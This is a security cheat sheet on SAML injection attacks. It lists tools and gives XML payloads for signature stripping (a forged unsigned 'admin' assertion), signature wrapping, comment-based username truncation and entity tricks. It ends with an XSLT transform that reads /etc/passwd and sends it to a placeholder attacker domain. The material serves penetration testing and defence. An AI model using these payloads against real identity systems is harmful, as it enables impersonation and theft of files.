# SAML Injection

> SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. While SAML is widely used to facilitate single sign-on (SSO) and other federated authentication scenarios, improper implementation or misconfiguration can expose systems to various vulnerabilities.

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
    * [Invalid Signature](#invalid-signature)
    * [Signature Stripping](#signature-stripping)
    * [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
    * [XML Comment Handling](#xml-comment-handling)
    * [XML External Entity](#xml-external-entity)
    * [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)
* [References](#references)

## Tools

* [CompassSecurity/SAMLRaider](https://github.com/SAMLRaider/SAMLRaider) - SAML2 Burp Extension.
* [d0ge/XSW](https://github.com/d0ge/XSW) - XML Signature Wrapping Burp Suite Extensions.
* [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests.

## Methodology

A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.

### Invalid Signature

Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.

### Signature Stripping

> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn

The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.

Example of SAML assertion where `NameID=admin` without signature.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
    <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
    <saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </saml2p:Status>
    <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
        <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
        <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
            <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
            </saml2:SubjectConfirmation>
        </saml2:Subject>
        <saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AudienceRestriction>
                <saml2:Audience>WLS_SP</saml2:Audience>
            </saml2:AudienceRestriction>
        </saml2:Conditions>
        <saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AuthnContext>
                <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
            </saml2:AuthnContext>
        </saml2:AuthnStatement>
    </saml2:Assertion>
</saml2p:Response>
```

### XML Signature Wrapping Attacks

XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.

* **XSW1**: Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
* **XSW2**: Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
* **XSW3**: Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
* **XSW4**: Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
* **XSW5**: Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
* **XSW6**: Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
* **XSW7**: Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
* **XSW8**: Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.

In the following example, these terms are used.

* **FA**: Forged Assertion
* **LA**: Legitimate Assertion
* **LAS**: Signature of the Legitimate Assertion

```xml
<SAMLResponse>
  <FA ID="evil">
      <Subject>Attacker</Subject>
  </FA>
  <LA ID="legitimate">
      <Subject>Legitimate User</Subject>
      <LAS>
         <Reference Reference URI="legitimate">
         </Reference>
      </LAS>
  </LA>
</SAMLResponse>
```

In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.

### XML Comment Handling

A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.

* OneLogin - python-saml - CVE-2017-11427
* OneLogin - ruby-saml - CVE-2017-11428
* Clever - saml2-js - CVE-2017-11429
* OmniAuth-SAML - CVE-2017-11430
* Shibboleth - CVE-2018-0489
* Duo Network Gateway - CVE-2018-7340

Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.

```xml
<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
```

Where `user@user.com` is the first part of the username, and `.evil.com` is the second.

### XML External Entity

An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.

In the following example:

* `&s;` will resolve to the string `"s"`
* `&f1;` will resolve to the string `"f1"`

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
  <!ENTITY s "s">
  <!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
  Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
  ID="_04cfe67e596b7449d05755049ba9ec28"
  InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
  IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
  <saml2:Attribute FriendlyName="uid"
    Name="urn:oid:0.9.2342.19200300.100.1.1"
    NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
    <saml2:AttributeValue>
      &s;taf&f1;
    </saml2:AttributeValue>
  </saml2:Attribute>
[...]
</saml2p:Response>
```

The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.

### Extensible Stylesheet Language Transformation

An XSLT can be carried out by using the `transform` element.

![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)
Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)

```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://[ATTACKER.DOMAIN.TLD]/'"/>
            <xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>
```

## References

* [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - Jem Jensen - March 7, 2017](https://web.archive.org/web/20171113204302/https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
* [How to Hunt Bugs in SAML; a Methodology - Part I - Ben Risher (@epi052) - March 7, 2019](https://web.archive.org/web/20260119151024/https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [How to Hunt Bugs in SAML; a Methodology - Part II - Ben Risher (@epi052) - March 13, 2019](https://web.archive.org/web/20190511102027/https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
* [How to Hunt Bugs in SAML; a Methodology - Part III - Ben Risher (@epi052) - March 16, 2019](https://web.archive.org/web/20250619124546/https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
* [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen - August 23, 2012](https://web.archive.org/web/20130520064525/https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
* [Oracle Weblogic - Multiple SAML Vulnerabilities (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - July 18, 2018](https://web.archive.org/web/20181221074856/https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
* [SAML Burp Extension - Roland Bischofberger - July 24, 2015](https://web.archive.org/web/20260213191343/https://blog.compass-security.com/2015/07/saml-burp-extension/)
* [SAML Security Cheat Sheet - OWASP - February 2, 2019](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
* [The road to your codebase is paved with forged assertions - Ioannis Kakavas (@ilektrojohn) - March 13, 2017](https://web.archive.org/web/20170314055835/http://www.economyofmechanism.com/github-saml)
* [Truncation of SAML Attributes in Shibboleth 2 - redteam-pentesting.de - January 15, 2018](https://web.archive.org/web/20190607070528/https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
* [Vulnerability Note VU#475445 - Garret Wassermann - February 27, 2018](https://web.archive.org/web/20180227170113/http://kb.cert.org/vuls/id/475445)
